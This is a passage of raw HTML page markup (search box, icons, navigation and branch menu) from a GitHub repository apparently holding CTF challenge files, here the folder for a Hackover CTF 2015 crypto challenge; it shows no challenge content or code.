value="dy3z7VZoSZ81x9Qv3Or0tIqBdoXsvTKb5uyiYYLdEKT0ERFJ2rUoUMqzeFKEJVOb6YdKTJq1hfUUNPAyuNYpHw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> SuperVirus </span> <span>/</span> CTF <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75A.75.75 0 0 1 .75 1h4.253c1.227 0 2.317.59 3 1.501A3.743 3.743 0 0 1 11.006 1h4.245a.75.75 0 0 1 .75.75v10.5a.75.75 0 0 1-.75.75h-4.507a2.25 2.25 0 0 0-1.591.659l-.622.621a.75.75 0 0 1-1.06 0l-.622-.621A2.25 2.25 0 0 0 5.258 13H.75a.75.75 0 0 1-.75-.75Zm7.251 10.324.004-5.073-.002-2.253A2.25 2.25 0 0 0 5.003 2.5H1.5v9h3.757a3.75 3.75 0 0 1 1.994.574ZM8.755 4.75l-.004 7.322a3.752 3.752 0 0 1 1.992-.572H14.5v-9h-3.495a2.25 2.25 0 0 0-2.25 2.25Z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/SuperVirus/CTF/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":42833990,"originating_url":"https://github.com/SuperVirus/CTF/tree/master/2015/Hackover_CTF_2015/crypto/100-nodistinguisher","user_id":null}}" data-hydro-click-hmac="9e397dd027dc4a14fd86aa30010409f8f67d4c14c8af24464b2023019b5469fc"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/SuperVirus/CTF/refs" cache-key="v0:1445170257.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="U3VwZXJWaXJ1cy9DVEY=" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer 